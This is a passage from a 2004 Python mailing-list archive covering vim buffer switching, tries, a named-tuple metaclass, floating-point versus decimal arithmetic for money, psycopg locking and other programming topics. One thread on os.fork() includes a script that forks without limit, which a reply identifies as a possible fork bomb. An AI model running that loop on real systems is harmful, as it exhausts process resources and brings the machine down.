plugins, but since some plugins are rather central to the bot, they're loaded during all the plugin tests. When I increased the number of these central plugins, I found that the tests ran more slowly. After adding the assertion count, I discovered that each central plugin I added resulted in about 1,000 more assertions. What had happened was that during the tests for each plugin, the tests for each central plugin were being re-run, resulting in a significantly more time consuming test run. Nowadays, I just use it as a general measure of how many tests we have, and as a bragging point on our website :) Jeremy From caleb1 at telkomsa.net Thu Sep 16 23:01:11 2004 From: caleb1 at telkomsa.net (Caleb Hattingh) Date: Thu, 16 Sep 2004 23:01:11 -0400 Subject: Ranting about the state of Python IDEs for Windows References: <mailman.3261.1095106220.5135.python-list@python.org> <xv6dnbAB2MabvtvcRVn-sA@adelphia.com> <2qo1v3F11r4inU1@uni-berlin.de> <1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com> <2qtcjpF120qvbU1@uni-berlin.de> <1gk7m2e.jnaaas1e93hhqN%aleaxit@yahoo.com> Message-ID: <opsegan9co1js0xs@news.telkomsa.net> On Thu, 16 Sep 2004 14:16:22 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > Daniel Ellison <daniel at syrinx.net> wrote: > ... >> > Except, no tabbed interface when editing multiple files (not even with >> > GVIM: just ONE window, as seen from the OS/GUI level, even though vim >> > can partition it). Vim is my favourite editor, but the lack of tabbed >> > interface _is_ a pity. > ... >> Ah, but that partitioning, or splitting windows, is a viable alternative >> to tabs. Once one gets used to it, splitting and moving from window to >> window is done without thought. No, it's not convenient to have a dozen > > I've used VIM since day one (and vi before then) and yet I consider its > "partitioning or splitting window" a substantial productivity loss > compared to tabbed editors. Not a matter of getting used to it, just > ergonomically inferior. > But mostly I'm on a GUI, with gvim, and the lack of > tabbed editing just sucks. Next time I have some spare time (that will > be the day) I'll give emacs+its vi emulations another try, I think. > Most likely I'll come back to Vim and start grousing again, tho...;-) > > > Alex Alex I initially had the same irritation, but: I mapped (for example) keys F3 and F4 in ViM to switch between buffers like so: <inside .vimrc> " Putting '!' after 'map' causes it to work regardless of current mode. map! F3 <ESC>:bn!<CR> map! F4 <ESC>:bp!<CR> <fin> Accessing multiple buffers has become a non-issue for me. In fact, I now *prefer* this to tabbed editing. This, coupled with global marks (A-Z) makes editing multiple files real easy. If you really do want a list of buffers in gvim, the 'buffers' menu does tear off... I do hate window splitting though - the loss of screen real-estate is too painful. Thanks Caleb From pfortin at pfortin.com Tue Sep 21 13:03:05 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Tue, 21 Sep 2004 13:03:05 -0400 Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <mailman.3553.1095679406.5135.python-list@python.org> <414efed5$0$60631$a1866201@newsreader.visi.com> <mailman.3613.1095723708.5135.python-list@python.org> <414f7c66$0$60638$a1866201@newsreader.visi.com> <mailman.3616.1095729288.5135.python-list@python.org> <414fa1ec$0$63273$a1866201@newsreader.visi.com> <ciov19$4lm$1@blackmamba.itd.rl.ac.uk> <41503c6c$0$60645$a1866201@newsreader.visi.com> Message-ID: <20040921130305.34566043@gypsy.pfortin.com> On 21 Sep 2004 14:36:28 GMT Grant wrote: > Is there a good way to determine if an address is already in > use? Depends... is there a guarantee there is no switch between you and the server? If not, listening, then active probing might provide _an_ (not _the_) answer... What if the other machine is currently offline? If there _is_ a switch _and_ a duplicate MAC, that would make for interesting problems (switch constantly swaps out-port for MAC that appears to be moving back and forth between ports), mostly resulting in a confused IP stacks, and a retransmission avalanche is possible. -30- as this is no longer Python related. From aleaxit at yahoo.com Tue Sep 14 07:43:44 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 13:43:44 +0200 Subject: string % dictionary question References: <ZFq1d.15197$QJ3.11816@newssvr21.news.prodigy.com> Message-ID: <1gk3mpu.11xm5vec8g9eeN%aleaxit@yahoo.com> Sam Sungshik Kong <ssk at chol.nospam.net> wrote: > Hello, group! > > <code> > >>> di={} > >>> di["test"]=None > >>> s="%(test)s" % di > >>> s > 'None' > </code> > > I want the result to be just empty string when the dictionary value is None. > Is there a good way? class Translator(object): def __init__(self, d, t=''): self.d = d self.t = t def __getitem__(self, n): result = self.d.get(n) if result is None: result = self.t return result s = 'before%(test)safter' % Translator({}) will leave 'beforeafter' in s, as the missing key gets treated just like a None. If you want this to raise, and only explicit None values to get translated, change the first line of __getitem__ into 'result=self.d[n]'. Alex From maney at pobox.com Sun Sep 5 21:03:59 2004 From: maney at pobox.com (Martin Maney) Date: Mon, 6 Sep 2004 01:03:59 +0000 (UTC) Subject: Fun transformation problem References: <pan.2004.08.26.13.24.26.521173@riverhall_nospam_.co.uk> <Xns955268B4765A7daleriverhallsystems@192.168.8.150> <mailman.2547.1093642996.5135.python-list@python.org> Message-ID: <chgd1v$icu$1@wheel2.two14.net> John Lenton <john at grulic.org.ar> wrote: > FYI, that goofy dictionary thing you're building is called a 'trie'. And in some applications it may be handy to be able to construct the trie piece by piece, or to add entries to it. (BTW, am I wrong in thinking that tries in general aren't restricted to having all leaf nodes at the same level as the examples in this all do? Not that I'm complaining, since I'm not going to handle that general case either!) So I'll start with a function to add a single leaf to a trie: def add2trie(car, cdr, trie): if len(cdr) == 1: trie[car] = cdr[0] else: if not trie.has_key(car): trie[car] = {} add2trie(cdr[0], cdr[1:], trie[car]) ...and then the requested function is trivial: def f(lstlst): trie = {} for lst in lstlst: add2trie(lst[0], lst[1:], trie) return trie car and cdr are intrusions from you-can-guess-where that suggested themselves in the first hack which had 'way too many occurences of lst[0] in it. <digression> BTW, the first sketch (which I decided I didn't like for its unnecessary rebinding of existing subtries) could have made good use of conditional assignment (sorry, it just keeps coming up as I skim through the backlog today). It would have gone something like... def add2trie(lst, trie): trie[lst[0]] = (if len(lst) == 2: lst[1] else: add2trie(lst[1:], trie.get(lst[0], {})) return trie Obviously this is untested code, and to be honest I don't much like this form when it has to spread across lines like that. OTOH, it's an amusing example, since it uses within the general conditional expression one of Python's existing special-case hacks that wouldn't be necessary (though it might still be handy) if Python had conditional expressions. :-) </digression> -- Vs lbh pna ernq guvf, lbh'er va ivbyngvba bs gur Qvtvgny Zvyyraavhz Pbclevtug Npg. -- anon. From rattan at cps.cmich.edu Fri Sep 24 14:39:11 2004 From: rattan at cps.cmich.edu (Ishwar Rattan) Date: 24 Sep 2004 11:39:11 -0700 Subject: SUN/ONC RPC module? Message-ID: <938a4680.0409241039.4a21a54c@posting.google.com> Is there a module for ONC-RPC programming available? I did not find entry in Global Module Index on http://doc.python.org/ -ishwar From insert at spam.here Thu Sep 2 11:58:21 2004 From: insert at spam.here (Doug Holton) Date: Thu, 02 Sep 2004 10:58:21 -0500 Subject: python.NET vs. IronPython In-Reply-To: <4136fe58$0$285$4d4ebb8e@news.nl.uu.net> References: <mailman.2758.1094113688.5135.python-list@python.org> <xzh9kwuw4lj8$.18shw4j93827i.dlg@40tude.net> <4136fe58$0$285$4d4ebb8e@news.nl.uu.net> Message-ID: <poWdnUtrlM6D3qrcRVn-iA@comcast.com> Guyon Mor?e wrote: > Can anyone tell me the difference between python.net and IronPython? I think python.NET is just the regular Python (implemented in C, called CPython) with some changes to make it easier to call .NET libraries. So for example you could add a line like "from CLR.System.Windows.Forms import Form". IronPython is a complete rewrite of Python that itself runs in .NET's runtime engine (CLR). See also boo and pycs. From adurdin at gmail.com Sun Sep 5 05:39:05 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Sun, 5 Sep 2004 19:39:05 +1000 Subject: Tuple question In-Reply-To: <1gjlif4.km81clrhaw5vN%aleaxit@yahoo.com> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <opsdpkf1d5433nmu@news.cisco.com> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <opsdpk6kx9433nmu@news.cisco.com> <mailman.2775.1094145196.5135.python-list@python.org> <donn-8ED685.11274102092004@gnus01.u.washington.edu> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <mailman.2863.1094297233.5135.python-list@python.org> <1gjlif4.km81clrhaw5vN%aleaxit@yahoo.com> Message-ID: <59e9fd3a04090502392be712a6@mail.gmail.com> On Sat, 4 Sep 2004 15:58:08 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > > I think of a tuple with a given sequence of names for its fields as a > type (a subclass of tuple, sure). For example, the name->index > correspondence for all the pseudotuples-with-9-items returned by module > time is just the same one -- why would I want to carry around that > dictionary for each INSTANCE of a time-pseudotuple, rather than having > it once and for all in the type? <snip> > You prefer to specify the names every time you make an instance and > build and carry the needed name->index dict along with each instance. > Ah well, I guess that's OK, but I don't really see the advantage > compared to the custom-metaclass approach. Ah. This is one reason why a non-metaclass version is not so good. There really is no advantage to my inheritance-based implementation -- I tried to make a metaclass version but ran into some issues. However, on my second try I succeeded -- see below. > Great, thanks -- I should get the snapshot tomorrow (or whenever they do > start working again over in Vancouver, since I get it from > ActiveState:-) and I'll be happy to consider presenting your approach > (and a custom metaclass for contrast;-). Below is a better (=easier to use) implementation using metaclasses; I've submitted it to the Cookbook anyway (recipe #303481) despite being past the deadling. The NamedTuple function is for convenience (although the example doesn't use it for the sake of explicitness). NamedTuples accepts a single argument: a sequence -- as for tuple() -- or a dictionary with (at least) the names that the NamedTuple expects. class NamedTupleMetaclass(type): """Metaclass for a tuple with elements named and indexed. NamedTupleMetaclass instances must set the 'names' class attribute with a list of strings of valid identifiers, being the names for the elements. The elements can then be obtained by looking up the name or the index. """ def __init__(cls, classname, bases, classdict): super(NamedTupleMetaclass, cls).__init__(cls, classname, bases, classdict) # Must derive from tuple if not tuple in bases: raise ValueError, "'%s' must derive from tuple type." % classname # Create a dictionary to keep track of name->index correspondence cls._nameindices = dict(zip(classdict['names'], range(len(classdict['names'])))) def instance_getattr(self, name): """Look up a named element.""" try: return self[self.__class__._nameindices[name]] except KeyError: raise AttributeError, "object has no attribute named '%s'" % name cls.__getattr__ = instance_getattr def instance_setattr(self, name, value): raise TypeError, "'%s' object has only read-only attributes (assign to .%s)" % (self.__class__.__name__, name) cls.__setattr__ = instance_setattr def instance_new(cls, seq_or_dict): """Accept either a sequence of values or a dict as parameters.""" if isinstance(seq_or_dict, dict): seq = [] for name in cls.names: try: seq.append(seq_or_dict[name]) except KeyError: raise KeyError, "'%s' element of '%s' not given" % (name, cls.__name__) else: seq = seq_or_dict return tuple.__new__(cls, seq) cls.__new__ = staticmethod(instance_new) def NamedTuple(*namelist): """Class factory function for creating named tuples.""" class _NamedTuple(tuple): __metaclass__ = NamedTupleMetaclass names = list(namelist) return _NamedTuple # Example follows if __name__ == "__main__": class PersonTuple(tuple): __metaclass__ = NamedTupleMetaclass names = ["name", "age", "height"] person1 = PersonTuple(["James", 26, 185]) person2 = PersonTuple(["Sarah", 24, 170]) person3 = PersonTuple(dict(name="Tony", age=53, height=192)) print person1 for i, name in enumerate(PersonTuple.names): print name, ":", person2[i] print "%s is %s years old and %s cm tall." % person3 person3.name = "this will fail" From maney at pobox.com Tue Sep 7 10:11:54 2004 From: maney at pobox.com (Martin Maney) Date: Tue, 7 Sep 2004 14:11:54 +0000 (UTC) Subject: PHP Documentation References: <mailman.2616.1093881807.5135.python-list@python.org> Message-ID: <chkfja$f62$1@wheel2.two14.net> Ben Last <ben at benlast.com> wrote: > on the big pages that can be quite a slow process. That's not such a big > deal, but the second drawback is that there's no way to edit a comment once > made, so the pages have gradually filled up with junk remarks. Those who > have the power to edit don't seem to. That last sentence is of the first importance. A collaborative work *needs* editors. Thoughtful, careful editors who are not afraid to Refactor Mercilessly when necessary, and wise enough not to do it too soon. Ideally. :-) In practice, it may be enough to allow the community to edit. Sometimes it is, sometimes not - it depends on what audience is drawn to the wiki. > A Python docs Wiki sounds like an interesting idea; I'll certainly be taking > a look at the one quoted. Offhand, does anyone know if the license on the > Python Docs would allow them to be freely copied and used as the basis of a > Wiki? My first thought was "of course!" Then I thought, "maybe I should take a look." That stopped me: every document I've checked says to find the licence and permissions at the end (in "About this document..." - BTW, what's with the ellipses?). Not one of the identical "About" sections I've looked at has had any hint of a license in it. My fallback position is a little roundabout: Debian distributes the Python docs, therefore the docs are [almost] surely under a license that's free enough to meet the DFSG rules, which should more than cover this use. The weakest point in this is that the licenses for docs have sometimes not been scrutinized as carefully as licenses for the code (and cleaning up free-but-not-DFSG-free bits seems to be high on the post-Sarge-release to-do list). -- ...that obsessive conviction, so common among authors and composers, that all similarities between their works and any others which appear later must inevitably be ascribed to plagiarism. -- 2nd Circuit, 1945 From greg at cosc.canterbury.ac.nz Wed Sep 15 02:23:03 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 15 Sep 2004 18:23:03 +1200 Subject: up with PyGUI! In-Reply-To: <m3llfc2lwb.fsf@g2ctech.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <mailman.3320.1095184231.5135.python-list@python.org> <m3llfc2lwb.fsf@g2ctech.com> Message-ID: <2qq5e8F133c5kU2@uni-berlin.de> Jorge Godoy wrote: > And it accepts either GTK1 and GTK2? Only Gtk2. > Does it accept GTK on Windows? Yes, as far as I know. I haven't tested it myself, but I don't know of any reason it shouldn't work. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From me at privacy.net Wed Sep 22 22:46:54 2004 From: me at privacy.net (Richard Hanson) Date: Wed, 22 Sep 2004 19:46:54 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. Message-ID: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> While this post is primarily off-topic, I'm using Python to test ideas, and hopefully, to develop a prototype for the project. I've noticed that this group is frequented by some of the finer minds in compsci; this post relates to HCIs and possible improvements to such. But, be all that as it may, if this project can be shot down -- this is where I'd prefer it to be done. :-) (I've been very impressed with the civil adult behavior here. Polite *and* humorous -- my kind of people! In any event, I apologize if anyone is offended by my posting of this, here.) I had hoped to not announce until I had a minimal prototype ready. However, my quickly disappearing time resources are being "devoured by locusts"[1], some time-resources spent just trying to keep online access, what with my current stable of failing Windows-based (alas) computers and the current trend towards complexity rather than simplicity in the world. (Python is the epitome of complexity-controlling languages; I think it appropriate that this project which aims to markedly simplify the complexity of the user interface [no lofty aspirations, here :-) ], be done in Python.) --- My project, "code-named" Pathfinder, is planned as a computing appliance with "all batteries included" which answers 95%, say, of the typical user's computing needs. It would be convenient for both the "power user" and Grandma. Such arcana as harddrives, directories, files, OS vs. apps distinctions, etc. would be hidden from user view. (Some of these items wouldn't even need to exist under-the-covers.) Something like Pathfinder could ultimately be, perhaps, the Model-T of the not-yet-here Computer Age (with lots of help designing and implementing such, of course). (If you think I'm deluded -- you may well be right <wink> -- but read on. HCI was my main area of interest back in my active [i.e., under employment] programming days. Laziness, and now "mouser's arm," have been, and still are, my main sources of inspiration. :-) ) --- One of the goals of Pathfinder is to have an integrated OS and system on flash ROM, say, totally separated from user data (user data being automatically and redundantly backed up transparently to the user) with the system supplying the more commonly needed functionality in an integrated manner. For example, Pathfinder would not allow apps to be added by the user -- no need, as virtually all batteries are provided. Authorized upgrades of the system ROM would still be allowed by the spec. Another part of Pathfinder is a perhaps better HCI -- no need to steer a mouse all around the screen just to arrive at some point which could have been immediately gone to. And no need for sixteen ways to do everything. Instead, a touchscreen-and-stylus, and an array of dynamically labeled buttons in a panel on one side of the browser-detail pane, would be the primary *one way* (other than the keyboard) to interact with the system. (Detail views in the adjacent browser-detail pane *may* need to have additional controls depending on the object type: AV, text, PIM, etc.) The dynamically labeled buttons would either evoke some action as a "leaf," or evoke a new "sub-menu" of newly labeled buttons (ala the "softmenu" keys of the HP28 and HP48 series calculators). The browser-pane view, using only the dynamic button-panel and a few screen-taps, could be "narrowed-down" from the all-objects, global view to a very select, subset view through filter, sort, and attribute selection. In this way, the desired "needle in an increasingly more humongous haystack" could be found with only a few screen-taps of the button-panel. Once an object (user or user-configuration data), or a set of such, is in view, a few more button-panel taps could add (or modify) the object(s) attributes as desired to "add value" for future, further ease-of-use. Basically, the current windows-icons-mouse-pointer interface would be entirely replaced by the "button panel" and touchscreen. (A mouse could substitute for the touchscreen in the interim as the project is being prototyped on conventional platforms.) No more menubars, taskbars, Start Menus, endless series of dialog boxes, steering around cascading menus, etc. With only a few dynamically labeled buttons, say, properly nested in a sensible but easily changeable tree, "zillions" of leaves of tasks, filters, orders, attributes, etc. could be reached with only a few screen-taps. The project would be open-source, of course. (Not sure how any eventual hardware could be open-sourced...?) I have more to say about the specs and philosophy of the project if anyone is interested. (I've had this project on the back burner throughout a seven-year-long family reunion book undertaking; only now can I apply my available resources without *that* distraction, however.) Contact me off-group if you've a mind to. Thanks very much if you have read all the way through this... uh... something or other. for-posterity-in-an-ever-increasingly-complex-world'ly y'rs, Richard Hanson _______________________________________________ [1] "Borrowed" from Jerry Pournelle's frequent usage. Note: I could edit this forever, but I'm punching SEND, now -- ypoes and such are thrown in for free. ;-) -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From Barkmann at gmail.com Thu Sep 23 01:03:43 2004 From: Barkmann at gmail.com (Chris Barker) Date: 22 Sep 2004 22:03:43 -0700 Subject: Why not FP for Money? References: <mailman.3721.1095866067.5135.python-list@python.org> Message-ID: <cc887c1d.0409222103.388c40de@posting.google.com> "Batista, Facundo" <FBatista at uniFON.com.ar> wrote in message > Well, actually that's an issue, because the "banker's rounding" is not the > same rounding in every country. > > That's why in Decimal you have a lot of roundings to choose. Exactly. I am the OP, and my question was "What am I missing?", and that is the above is the answer. I had started with the assumption that the IEEE 754 rounding methods were about as good as anyone was likely to get, and certainly better than I was going to come up with on my own. What I had missed was that accounting has rules about rounding, and your accounting package had better follow the appropriate rules. Once you are handling all the rounding yourself, you might as well use integers. To address a few other points, just so I don't look like an idiot for all posterity in usenet. I'm well aware of the difference between base ten and two. That really isn't the issue here. binary FP can represent fractions jsut as accurately as decimal, it's just a different set that they represent. Perhps accounting rules have base ten built into them, but other than that, the only advantage is familiarity: people expect 1/10 to be represented exactly, but don't expect 1/3 to be. As far as money is concerned, there is no real advantage, other than convention, to perfectly representing 1/10 of a cent, but not 1/3 of a cent. With binary FP, you can't represent 1/10 of a cent exactly, but you can get darn close, and if you round the answer to pennies when your done, it will be just as accurate as decimal (given how many bit you use, etc.), in general. Now to address a few specific points made (sorry to lose the attribution): """ Floating point arithmetic is useful for continuous quantities, or quantities that are measured (as in weighed, etc.) Integers (and rationals) are useful for things that are counted, which includes currency units, but also includes anything else that comes in discrete units (apples and oranges, for instance). """ That only applies until you start slicing the oranges, and only applies here if you are dealing with actual pennies. When people calculate interest, tax, etc, they want to deal in fractional pennies. That's why we can't just use integer pennies and have done with it. However, it is true that while fractions do need to be dealt with, the should not "float". That being said, as someone mentioned, accounting practices are not neccsarily logical. Personally, thinking of money it terms of significant digits would be fine with me. Is there really any point in keeping track of the pennies when talkin gof trillions of dollars? """ Beware! Floating point errors may bite you *even for non-fractional numbers* """ I tried to address that in the OP. 64 bit IEEE FP carries a lot of digits! This isn't an issue till you get to quadrillions of dollars. The same issue comes up if you use standard integers, though then you will get overflow instead. If not handled right, that could REALLY give strange results! Fortunatly Python now automatically rolls over to long integers. """ But you'll get different answers than decimal arithmetic would give you, so the auditors will be all over your ass if you do it that way. You don't want that. You need decimal arithmetic. """ right. that is a matter of convention, not precision. Tim, thanks for the references. I had seen that paper by Kahan, but had forgotten it. However, it doesn't address my question, the main point here is that "Decimal displays of Binary nonintegers cannot always be WYSIWYG" This is entirely a perceptual problem, not an accuracy one, though I suppse when it comes to money...perception is very important! The IBM references were informative as well. One interesting distiction here: binary vs. decimal and floating point vs. fixed point are orthoganal concepts that have been mingled here. Alex pointed out that decimal floating point has the same problems as binary as far as accuracy is concerned. """ What we'd _really_ want to specify is 'keep exactly two digits AFTER the decimal point, no matter how many there are BEFORE', but that's not decimal's job -- it's still a floating point type, albeit decimal, NOT a fixed-point one. Maybe we do need a fixed-point-decimal for 2.5...? """ Or a currency type, specifically. """ consider, for example, a program that calculates payments on a real estate mortgage. Given that interest may need to be calculated on a daily basis, and that the daily interest rate is a very small fraction, the imprecision of floating point can then become much more significant relative to the desired quantity. And given that there's a *lot* of calculations over which this imprecision can build (a 30-year mortgage ~= 10957 days), and the exponential nature of the interest calculation, this can become a real issue. """ OK, so how the heck do you do that? Any system, fixed or FP, binary or decimal, is going to have the same issue. I think the answer is that you have to round, but you can follow the appropriate accounting practice when you do so. thanks everyone, for some enlightening discussion. -Chris From andymac at bullseye.apana.org.au Thu Sep 16 09:01:10 2004 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Thu, 16 Sep 2004 23:01:10 +1000 (EST) Subject: os.fork() question? In-Reply-To: <938a4680.0409141219.705ce901@posting.google.com> References: <938a4680.0409131305.2516b461@posting.google.com> <mailman.3271.1095110255.5135.python-list@python.org> <938a4680.0409141219.705ce901@posting.google.com> Message-ID: <20040916224937.V88910@bullseye.apana.org.au> On Wed, 14 Sep 2004, Ishwar Rattan wrote: > Erik Heneryd <erik at heneryd.com> wrote in message news:<mailman.3271.1095110255.5135.python-list at python.org>... > > Ishwar Rattan wrote: > > > Info at http://doc.python.org/ on os.fork() says that > > > it has 'unix' semantics (on a UNIX box) on return values > > > child pid in parent, 0 in child, no mention of failure? > > > > > > So, what does it return on failure? I tried it under Linux > > > with Python-2.3.4, after few thousand forks the system just hangs! > > > (does not return/report fork failure) > > > > It raises OSError. > > > The following code when executed kills controlling xterm+X-window system, > but the system does not hang. > > -ishwar > --- > import os, signal, sys, time > > def child(): > signal.pause() > print 'this from child with pid: ', os.getpid() > sys.exit(2) > > def main(): > print 'forking child..' > while 1: > try: > cpid = os.fork() > except OSError: > raise 'fork failed..' > if cpid == 0: > child() > else: > print 'fork success..', cpid > > main() You don't give much detail about your Linux environment, but be aware: - Python by default is built with threading; - signals in the presence of threads are a potential issue, even though the above code doesn't activate threads, because your Python process is using the threaded C library; - ditto fork(); - various thread implementations have had bugs at various times in relation to signals and process management; - the above code may be being treated as a "fork bomb" by Linux; in which case, the Python process(es) is/are summarily killed, possibly leaving lots of zombie processes around.... You may care to try building a Python interpreter without threads support to test whether the some of the issues I mention above are implicated. ------------------------------------------------------------------------- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au (pref) | Snail: PO Box 370 andymac at pcug.org.au (alt) | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From heikowu at ceosg.de Thu Sep 9 06:22:51 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Thu, 9 Sep 2004 12:22:51 +0200 Subject: Set and {} comparison confusion In-Reply-To: <1gjuc0j.1990z451x9dciqN%aleaxit@yahoo.com> References: <mailman.3079.1094716024.5135.python-list@python.org> <1gjuc0j.1990z451x9dciqN%aleaxit@yahoo.com> Message-ID: <200409091222.51330.heikowu@ceosg.de> Am Donnerstag, 9. September 2004 10:18 schrieb Alex Martelli: > def same_as_sets(onelist, another): > for item in onelist: > if item in another: return False > for item in another: > if item in onelist: return False > return True Minor correction, shouldn't this be: for item in onelist: if item not in another: return False ... Notice the nice little word not, which makes all the difference... ;) Heiko. From clifford.wells at comcast.net Wed Sep 29 09:30:20 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Wed, 29 Sep 2004 06:30:20 -0700 Subject: Psycopg; How to detect row locking? In-Reply-To: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> Message-ID: <1096464620.31570.7.camel@devilbox.devilnet.internal> On Mon, 2004-09-27 at 13:40 +0200, Alban Hertroys wrote: > Good day, > > I have a number of threads doing inserts in a table, after which I want > to do a select. This means that it will occur that the row that I want > to select is locked (by the DB). In these cases, I believe I receive an > OperationalError (or is it an InterfaceError?). > > Is it possible (and if so - how?) to verify that the exception occured > because of row locking, so that I can wait and try again? I've seen this exception and frankly, it has always occurred due to row locking. Simply retry the query until it completes. > Or are there better ways to achieve this? I'm not too charmed about > polling loops that may never end. I've written multithreaded apps with hundreds of threads that used the retry technique and never had a problem. In fact, I believe Zope uses this method. > I'm using python 2.3 with psycopg 1.1.13 and PostgreSQL 7.4.2. > > Regards, Alban Hertroys. -- Cliff Wells <clifford.wells at comcast.net> From christopher at baus.net Tue Sep 7 19:09:47 2004 From: christopher at baus.net (christopher at baus.net) Date: Tue, 7 Sep 2004 16:09:47 -0700 (PDT) Subject: network programming list. Message-ID: <40791.127.0.0.1.1094598587.squirrel@127.0.0.1> Is there a network programming list for Python? I primarily use python for network programming, and the amount of traffic on this list is overwhelming, as there are a bunch of topics regarding the language itself rather than the applications. I was wondering if others think it might be worth while to create a list that is focused on network programming. == christopher baus http://www.baus.net/ From adalke at mindspring.com Thu Sep 9 19:47:08 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 09 Sep 2004 23:47:08 GMT Subject: Is except: ... pass bad style? In-Reply-To: <m33c1rcrxg.fsf@pc150.maths.bris.ac.uk> References: <pan.2004.09.09.16.26.16.985806@python.net> <m33c1rcrxg.fsf@pc150.maths.bris.ac.uk> Message-ID: <0Y50d.2294$xA1.2210@newsread3.news.pas.earthlink.net> Michael Hudson wrote: > Come to think of it > > getattr(myobj, "method", lambda :None)() > > also acheives the same thing. Bit inscrutable, though. Who needs a lambda? getattr(myobj, "method", Exception)() Even works for multiple arguments. Now if only Exception took kwargs... Still inscrutable, or at least distracting. (In other words, don't use this.) Andrew dalke at dalkescientific.com From zanesdad at bellsouth.net Mon Sep 27 07:55:41 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Mon, 27 Sep 2004 07:55:41 -0400 Subject: Divisions of labor In-Reply-To: <20040925153106.GA3165@lairds.us> References: <mailman.3639.1095771048.5135.python-list@python.org> <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <4tg822-bmd.ln1@lairds.us> <1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com> <tkl822-p6i.ln1@lairds.us> <4151C3A9.6050505@bellsouth.net> <20040925153106.GA3165@lairds.us> Message-ID: <4157FFBD.5020407@bellsouth.net> Cameron Laird wrote: >On Wed, Sep 22, 2004 at 02:25:45PM -0400, Jeremy Jones wrote: > . > . > . > > <snip> very little of importance :-) </snip> > >My newsfeed appears erratic; delays in my replies are not editorial comments. > >Mr. Jones, I'm unoffended. I once *was* a debugger guru (expert in several >debuggers, in fact); those are skills I've chosen to let lapse. Nowadays, I >feel more benefit in thinking about, for example, monads and categories. > >I don't know what else to say. I am ever on the lookout for advantages a >clever debugger will give me. It's simply been years since I've noticed any. > > This helps me, actually. Hearing this from someone like yourself whose posts I've come to respect, I'll keep this in mind as I dig deeper into pdb/whatever-debugger-I-turn-to. Maybe I'll settle for "good enough to solve my tiny problems" rather than "guru". Of course, there are a couple of benefits to becoming a debugger guru that are either not quantifiable or you can't claim "productive payback" as a justification for: * pure (geek) entertainment value. * geek respect from your co-workers :-) Jeremy -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040927/3d2be109/attachment.html> From goodger at python.org Fri Sep 24 09:51:15 2004 From: goodger at python.org (David Goodger) Date: Fri, 24 Sep 2004 09:51:15 -0400 Subject: unittest.py patch: add skipped test functionality In-Reply-To: <cj0o6t$mn2$1@sea.gmane.org> References: <cj0o6t$mn2$1@sea.gmane.org> Message-ID: <41542653.3060606@python.org> [Remy Blank] > I would also like to know if this would be a candidate for inclusion > into the unittest.py provided with Python. To have any chance of that, you should add your patch to the SourceForge patch tracker for Python: http://sourceforge.net/tracker/?func=add&group_id=5470&atid=305470 If you don't, it's likely that no Python core developer who cares will ever see it. If you do, many will see it. > I suppose I should contact Steve Purcell directly for that. That may also be helpful. But put the patch on SourceForge first! -- David Goodger <http://python.net/~goodger> From in.aqua.scribis at nl.invalid Wed Sep 8 19:21:05 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Thu, 9 Sep 2004 01:21:05 +0200 Subject: very odd, random window dumps Message-ID: <Pine.LNX.4.44.0409090110370.1126-100000@kleigh.nl> This is weird... Running small Python scripts, now and again a window dump is created, and saved as the module name without the extension. This happens on Linux. The dumped file is a PostScript file with the image of one Window that was active at the moment (completely unrelated to the Python application), and has a header comment that says it was created by ImageMagick. Magic, indeed. The file has the somewhat unusual access bits -rwxr--r--, but normal user and group. -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From jmfbahciv at aol.com Thu Sep 9 09:21:45 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 09 Sep 04 13:21:45 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com><opsdy5xuappqzri1@mjolner.upc.no> <p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net> <413f049f$0$6914$61fed72c@news.rcn.com> <5sjnhc.bb81.ln@via.reistad.priv.no> Message-ID: <41406bfe$0$6912$61fed72c@news.rcn.com> In article <5sjnhc.bb81.ln at via.reistad.priv.no>, Morten Reistad <firstname at lastname.pr1v.n0> wrote: >In article <413f049f$0$6914$61fed72c at news.rcn.com>, <jmfbahciv at aol.com> wrote: >>In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>, >> rpw3 at rpw3.org (Rob Warnock) wrote: >>>John Thingstad <john.thingstad at chello.no> wrote: >>>+--------------- >>>| As you may know XP is not particularly good as a server. >>>.... >>>| I would go for some Unix implementation (perhaps free-BSD) >>>| As a workstation XP seems OK. >>>| I hear a lot of complaints about XP's stability. >>>| Since I have not administered a XP network, yet, I cant comment on that. >>>| But in my personal experience it is a stable system. >>>| I frequently let my computer run 24 